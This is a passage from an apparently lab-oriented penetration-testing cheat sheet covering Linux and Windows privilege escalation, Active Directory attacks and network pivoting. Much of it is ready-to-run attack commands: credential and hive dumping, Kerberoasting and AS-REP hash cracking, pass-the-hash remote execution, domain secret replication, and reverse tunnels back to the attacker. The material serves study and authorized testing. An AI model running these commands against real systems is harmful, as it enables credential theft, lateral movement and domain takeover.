Investigate custom services, local-only management interfaces, Docker sockets, and writable service files. Group membership in docker, lxd, or similar administrative services may cross the root boundary.

Writable paths and PATH usage

find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev)'
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev)'
printf '%s\n' "$PATH" | tr ':' '\n'
find / -user root -perm -002 -type f -ls 2>/dev/null
find / -user root -perm -002 -type d -ls 2>/dev/null
namei -l /path/to/interesting/file
getfacl /path/to/interesting/file

A writable directory is only a finding when a privileged process consumes data from it. For PATH hijacking, confirm that a privileged program invokes a command without an absolute path and that a searched directory is controllable.

Credentials and sensitive files

find /home /root -maxdepth 3 -type f \( -name '.*history' -o -name 'id_*' \
  -o -name '*.kdbx' \) -ls 2>/dev/null
rg -n -i 'password|secret|token|credential' /var/www /opt /srv 2>/dev/null
cat /etc/passwd
ls -la /etc/shadow /etc/passwd
find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.swp' \) 2>/dev/null
find /home -maxdepth 4 -type f -readable -printf '%u %m %p\n' 2>/dev/null
ls -la /var/mail /var/spool/mail 2>/dev/null
for p in /proc/[0-9]*/environ; do tr '\0' '\n' <"$p" 2>/dev/null; done | sort -u

Review application configuration, backups, shell history, mail, mounted shares, process environments, and command-line arguments.

NFS and containers

cat /etc/exports 2>/dev/null
mount
ls -l /var/run/docker.sock 2>/dev/null
docker images 2>/dev/null
id | grep -E 'docker|lxd|disk'
docker ps -a 2>/dev/null
lxc list 2>/dev/null

From Kali, validate NFS export behavior:

showmount -e "$IP"
nmap -Pn -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs "$IP"

For NFS, correlate export options with numeric UID ownership. For containers, determine whether the current context can mount the host filesystem or control a privileged container runtime.

Kernel exploits: last resort

uname -a
cat /proc/version
dpkg -l 2>/dev/null | head
rpm -qa 2>/dev/null | head
sysctl kernel.unprivileged_userns_clone 2>/dev/null
grep -E 'CONFIG_(USER_NS|BPF|OVERLAY_FS)' /boot/config-"$(uname -r)" 2>/dev/null

Confirm the exact kernel build, architecture, distribution patches, required configuration, and exploit side effects. Prefer configuration flaws because kernel exploits may crash or corrupt the target.

Automated enumeration

Run tools such as linpeas or lse to support manual reasoning, not replace it. Review the output by trust boundary: credentials, sudo, SUID, services, scheduled work, writable paths, containers, and kernel exposure.

./linpeas.sh -a | tee /tmp/linpeas.out
./lse.sh -l 1 | tee /tmp/lse.out
./pspy64 -pf -i 1000

When stuck

  • Re-run enumeration after obtaining a new group or credential.
  • Inspect custom applications and services before standard system binaries.
  • Compare file ownership with the identity of the consuming process.
  • Monitor processes and filesystem activity over time.
  • Check local-only ports from the target itself.

Windows Privilege Escalation

Baseline

whoami /all
hostname
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-ChildItem Env: | Sort-Object Name
Get-PSDrive -PSProvider FileSystem
Get-CimInstance Win32_LogicalDisk | Select-Object DeviceID,DriveType,FileSystem,Size,FreeSpace
Get-MpComputerStatus | Select-Object AMRunningMode,AntivirusEnabled,RealTimeProtectionEnabled

Record integrity level, groups, token privileges, architecture, domain membership, installed software, running services, and listening ports.

Token privileges

whoami /priv
whoami /groups
whoami /claims

Investigate enabled or enableable privileges such as SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, and SeRestorePrivilege. The correct technique depends on the OS build, service context, and available communication mechanism.

Services

Get-CimInstance Win32_Service |
  Select-Object Name,StartName,State,PathName

sc.exe qc <service>
sc.exe query <service>

For interesting services, check:

  • permissions on the service configuration;
  • permissions on the executable and parent directories;
  • unquoted paths containing spaces;
  • writable DLL or configuration search locations;
  • whether the current user can restart the service;
  • the account used to run the service.
sc.exe sdshow <service>
icacls 'C:\Path\To\service.exe'
Get-Acl 'C:\Path\To' | Format-List
accesschk.exe -uwcqv "$env:USERNAME" *
accesschk.exe -uwdqs Users C:\

Unquoted service paths

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } |
  Select-Object Name,StartName,State,PathName

wmic service get name,displayname,pathname,startmode |
  findstr /i /v "C:\Windows\\" | findstr /i /v '"'

An unquoted path is exploitable only when a candidate path is writable and the service can be started or will start predictably.

Scheduled tasks and startup

schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object State -ne Disabled
Get-CimInstance Win32_StartupCommand
Get-ScheduledTask | ForEach-Object { $_ | Get-ScheduledTaskInfo }
schtasks /query /xml ONE /tn '<task-name>'

Startup and autorun locations:

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Get-CimInstance Win32_StartupCommand | Format-List Name,Command,Location,User

Inspect task actions, executing users, triggers, referenced scripts, and permissions on every component of the execution path.

AlwaysInstallElevated

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be enabled for the policy to create the expected elevation path.

Credentials

Get-Content (Get-PSReadLineOption).HistorySavePath
cmdkey /list
dir C:\Users\*\Desktop,C:\Users\*\Documents -Force -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object Name -match '\.(config|xml|ini|txt|kdbx|rdp)$'
Get-ChildItem C:\inetpub,C:\xampp,C:\ProgramData -Recurse -File -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|secret|token|connectionString'
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml C:\*.kdbx 2>nul
findstr /si password C:\*.xml C:\*.ini C:\*.config 2>nul

Also review web roots, service configuration, unattended installation files, saved RDP files, application backups, and mapped shares.

SAM and SYSTEM hives

If the current context can read or save the required registry hives:

reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
vssadmin list shadows
wmic shadowcopy get DeviceObject,InstallDate

Process transferred copies offline:

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Installed software and patches

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,
  HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
  Select-Object DisplayName,DisplayVersion,InstallLocation

Get-HotFix
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic product get Name,Version 2>nul

Search for application-specific configuration flaws before selecting an OS exploit. Confirm architecture, build, patches, and prerequisites.

Local groups and sessions

Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
query user
net use
quser
qwinsta
net localgroup
net user

Filesystem permissions

icacls C:\Path\To\Directory
Get-Acl C:\Path\To\Directory | Format-List
Get-ChildItem C:\ProgramData,C:\inetpub -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Attributes -notmatch 'ReparsePoint' } |
  ForEach-Object { try { Get-Acl $_.FullName } catch {} }

Prioritize custom application directories and service paths rather than dumping ACLs for the entire operating system.

Network and local services

Get-NetTCPConnection -State Listen | Sort-Object LocalPort
Get-Process -Id (Get-NetTCPConnection -State Listen).OwningProcess -ErrorAction SilentlyContinue
Get-SmbShare
Get-SmbConnection
Get-ChildItem \\.\pipe\

Group membership may expose backup, remote management, virtualization, or application-control capabilities even when the account is not a local administrator.

Automated enumeration

Use winPEAS, Seatbelt, or PowerUp as a second pass. Validate every reported finding manually and prioritize paths where a privileged process consumes a user-controlled file, command, token, or credential.

.\winPEASx64.exe log=winpeas.out
.\Seatbelt.exe -group=system
Import-Module .\PowerUp.ps1
Invoke-AllChecks

When stuck

  • Re-check token privileges and group memberships.
  • Inspect non-Microsoft services and scheduled tasks first.
  • Test permissions on parent directories, not only the executable.
  • Look for credentials in application context and user history.
  • Examine localhost-only services and named pipes.
  • Re-enumerate after changing user or integrity level.

Active Directory

Start with identity, DNS, and time. Many apparent Kerberos failures are actually name-resolution or clock problems.

Establish context

From Windows

whoami /all
hostname
systeminfo | findstr /B /C:"Domain"
ipconfig /all
nltest /dsgetdc:<domain>
set LOGONSERVER
net user /domain
net group /domain
net group 'Domain Admins' /domain
setspn -T <domain> -Q */*

From Kali

dig @"$IP" _ldap._tcp.dc._msdcs."$DOMAIN" SRV
nmap -Pn -p53,88,135,139,389,445,464,636,3268,5985 "$IP"
netexec smb "$IP" -u '' -p ''
sudo ntpdate -u "$IP"
nslookup -type=SRV _kerberos._tcp."$DOMAIN" "$IP"
kerbrute userenum -d "$DOMAIN" --dc "$IP" users.txt

Add the domain controller's hostname and domain to /etc/hosts only after they are confirmed.

Enumerate with valid credentials

netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --users
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --groups
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --shares
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --pass-pol
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --computers
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --loggedon-users
smbclient "//$IP/SYSVOL" -U "$DOMAIN/$USER%$PASS"
Get-ADDomain
Get-ADUser -Filter * -Properties ServicePrincipalName |
  Select-Object SamAccountName,ServicePrincipalName
Get-ADGroupMember 'Domain Admins'
Get-ADComputer -Filter *
Get-ADTrust -Filter *
Get-ADUser -Identity "$env:USERNAME" -Properties MemberOf,Description,LastLogonDate

If the ActiveDirectory module is unavailable, use built-in commands, LDAP, PowerView, or compatible tooling. Record which source produced each fact.

LDAP

ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
  -b 'DC=example,DC=local' '(objectClass=user)' sAMAccountName memberOf userAccountControl
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
  -b 'DC=example,DC=local' '(&(objectCategory=person)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName memberOf
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
  -b 'DC=example,DC=local' '(description=*)' sAMAccountName description

Useful attributes include group membership, descriptions, SPNs, delegation settings, logon scripts, and ACL-related object identifiers.

BloodHound collection

bloodhound-python -u "$USER" -p "$PASS" -d "$DOMAIN" -ns "$IP" -c All --zip
netexec ldap "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --bloodhound --collection All

On Windows:

Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp

Use the graph to form a hypothesis, then verify the relevant group membership, session, ACL, or delegation property manually.

AS-REP roasting

With a user list:

impacket-GetNPUsers "$DOMAIN/" -dc-ip "$IP" -usersfile users.txt -no-pass -request

With credentials:

impacket-GetNPUsers "$DOMAIN/$USER:$PASS" -dc-ip "$IP" -request

From Windows:

.\Rubeus.exe asreproast /nowrap /outfile:asrep.hash

Crack etype 23 material:

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Kerberoasting

impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip "$IP" -request -outputfile tgs.hash
hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
.\Rubeus.exe kerberoast /nowrap /outfile:tgs.hash
setspn -Q */*

Prioritize service accounts using evidence such as password age, privileges, group membership, and the systems they control.

ACLs and group control

PowerView examples:

Get-DomainObjectAcl -Identity <object> -ResolveGUIDs
Get-DomainGroupMember -Identity <group> -Recurse
Find-InterestingDomainAcl -ResolveGUIDs
Get-DomainUser -Identity "$env:USERNAME" | Select-Object objectsid
Get-DomainObjectAcl -SearchBase 'DC=example,DC=local' -ResolveGUIDs |
  Where-Object SecurityIdentifier -eq '<controlled-user-sid>'

Common impactful rights include GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword, and control over a group containing a more privileged user. Verify inheritance and the exact target object before acting.

Delegation

Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-ADComputer -Filter * -Properties TrustedForDelegation,TrustedToAuthForDelegation,
  msDS-AllowedToDelegateTo,msDS-AllowedToActOnBehalfOfOtherIdentity

For resource-based constrained delegation and other delegation paths, identify the controlled principal, target SPN, writable attribute, and required ticket flow. Do not treat a BloodHound edge as a complete procedure.

Credential reuse and remote access

netexec smb targets.txt -d "$DOMAIN" -u "$USER" -p "$PASS"
evil-winrm -i "$IP" -u "$USER" -p "$PASS"
impacket-wmiexec "$DOMAIN/$USER:$PASS@$IP"
impacket-psexec "$DOMAIN/$USER:$PASS@$IP"
impacket-smbexec "$DOMAIN/$USER:$PASS@$IP"
impacket-atexec "$DOMAIN/$USER:$PASS@$IP" whoami
impacket-dcomexec "$DOMAIN/$USER:$PASS@$IP"

Pass an NTLM hash only where NTLM authentication is accepted:

netexec smb "$IP" -d "$DOMAIN" -u "$USER" -H '<NTLM>'
impacket-wmiexec -hashes ':<NTLM>' "$DOMAIN/$USER@$IP"
evil-winrm -i "$IP" -u "$USER" -H '<NTLM>'

Remote execution methods have different privilege, service, and share requirements. Authentication success does not mean a method can execute.

Secrets and domain data

With appropriate local administrative rights:

netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --sam
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --lsa
impacket-secretsdump "$DOMAIN/$USER:$PASS@$IP"

With directory replication rights:

impacket-secretsdump "$DOMAIN/$USER:$PASS@$IP" -just-dc-ntlm

Search Group Policy preferences and SYSVOL content:

netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" -M gpp_password
smbclient "//$IP/SYSVOL" -U "$DOMAIN/$USER%$PASS" -c 'recurse;prompt OFF;mget *'
rg -n -i 'cpassword|password|username|script' SYSVOL/

Tickets from Kali

impacket-getTGT "$DOMAIN/$USER:$PASS" -dc-ip "$IP"
export KRB5CCNAME="$PWD/$USER.ccache"
klist
netexec smb '<dc-hostname>' -d "$DOMAIN" -u "$USER" -k --use-kcache

Use fully qualified hostnames that match service principal names and ensure /etc/krb5.conf, DNS, and time are correct.

Differentiate local SAM material, LSA secrets, cached domain credentials, and directory replication output; they have different scope and reuse paths.

Kerberos troubleshooting

date
dig "$DOMAIN"
klist
KRB5_TRACE=/dev/stderr kinit "$USER@$DOMAIN"
kvno "cifs/<hostname>.$DOMAIN"
kdestroy
  • Use hostnames rather than IP addresses when Kerberos requires an SPN.
  • Ensure DNS resolves the domain controller correctly.
  • Synchronize time before debugging tickets.
  • Match realm capitalization and domain syntax.
  • Clear stale tickets when changing identities.

When stuck

  • Re-run share and LDAP enumeration with every validated identity.
  • Inspect user descriptions, logon scripts, SYSVOL, and application shares.
  • Map local administrator access across hosts.
  • Correlate sessions with systems controlled by the current user.
  • Verify BloodHound edges manually.
  • Reassess DNS, time, and SPNs before abandoning a Kerberos path.

Pivoting

Pivot only after documenting the route that is missing: source, destination, protocol, port, and the host that can reach both sides.

Map the network

Linux

ip addr
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf
cat /proc/net/fib_trie
for h in 10.10.10.{1..254}; do timeout 1 bash -c "</dev/tcp/$h/445" 2>/dev/null && echo "$h:445"; done

Windows

ipconfig /all
route print
arp -a
netstat -ano
Get-NetTCPConnection -State Listen
Get-NetRoute -AddressFamily IPv4
Test-NetConnection 10.10.10.20 -Port 445
1..254 | ForEach-Object { if (Test-Connection "10.10.10.$_" -Count 1 -Quiet) { "10.10.10.$_" } }

Look for additional interfaces, internal DNS servers, local-only listeners, and routes unavailable from Kali.

SSH local forwarding

Expose a service reachable from the SSH server on a local Kali port.

ssh -N -L 127.0.0.1:8443:10.10.10.20:443 "$USER@$IP"
ssh -N -L 127.0.0.1:1445:10.10.10.20:445 -o ExitOnForwardFailure=yes "$USER@$IP"

Use https://127.0.0.1:8443 locally. If the application depends on a hostname, preserve its Host header or TLS server name.

SSH dynamic forwarding

Create a SOCKS proxy through the SSH server.

ssh -N -D 127.0.0.1:1080 "$USER@$IP"
ssh -N -D 127.0.0.1:1080 -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes "$USER@$IP"

Configure ProxyChains:

socks5 127.0.0.1 1080
proxychains -q nmap -sT -Pn -n -p 80,445,3389 10.10.10.20
proxychains -q curl http://10.10.10.20/

Use TCP connect scans through SOCKS. Raw-packet SYN and UDP scans do not traverse a standard SOCKS proxy.

SSH remote forwarding

Expose a service reachable from the SSH client to the SSH server side.

ssh -N -R 8080:127.0.0.1:8000 "$USER@$IP"

Forward every route automatically when SSH access is available:

sshuttle -r "$USER@$IP" 10.10.10.0/24 --dns

This is useful when the compromised host cannot connect directly to Kali but can reach an SSH server.

Chisel

Run the server on Kali:

chisel server --reverse --port 8000

Run the client on the pivot:

chisel client "$LHOST:8000" R:socks

The reverse SOCKS listener defaults to port 1080 on the server. Confirm the actual listener before configuring ProxyChains.

Forward one internal service instead:

chisel client "$LHOST:8000" R:8443:10.10.10.20:443

Standard forward mode:

chisel server --port 8000
chisel client "$LHOST:8000" 127.0.0.1:8443:10.10.10.20:443

Ligolo-ng

Start the proxy on Kali:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

Connect the agent from the pivot:

./agent -connect "$LHOST:11601" -ignore-cert

After selecting the session and starting the tunnel, add only the required route:

sudo ip route add 10.10.10.0/24 dev ligolo

Confirm and later remove the route:

ip route show dev ligolo
sudo ip route del 10.10.10.0/24 dev ligolo
sudo ip link del ligolo

Socat forwarding

Forward a TCP port from a Linux pivot:

socat TCP-LISTEN:8443,fork,reuseaddr TCP:10.10.10.20:443

Relay a reverse connection through the pivot:

socat TCP-LISTEN:4444,fork,reuseaddr TCP:"$LHOST":4444

Windows port proxy

With suitable administrative access:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=10.10.10.20 connectport=443
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8443

Use Ligolo listeners for reverse connections that must traverse the pivot. Remove routes and interfaces after the lab.

Reach a localhost-only service

SSH example:

ssh -N -L 127.0.0.1:5432:127.0.0.1:5432 "$USER@$IP"

Then connect to 127.0.0.1:5432 locally. Verify the remote listener with ss, netstat, or Get-NetTCPConnection before forwarding it.

Troubleshooting

  • Test the destination directly from the pivot before debugging the tunnel.
  • Confirm which side owns each listening port.
  • Check local binding conflicts with ss -lntp.
  • Use TCP connect scans through application-layer proxies.
  • Remember that DNS may resolve on the wrong side of a proxy.
  • Narrow routes and forwards to the required networks and services.
  • If a reverse connection fails, verify its return path independently.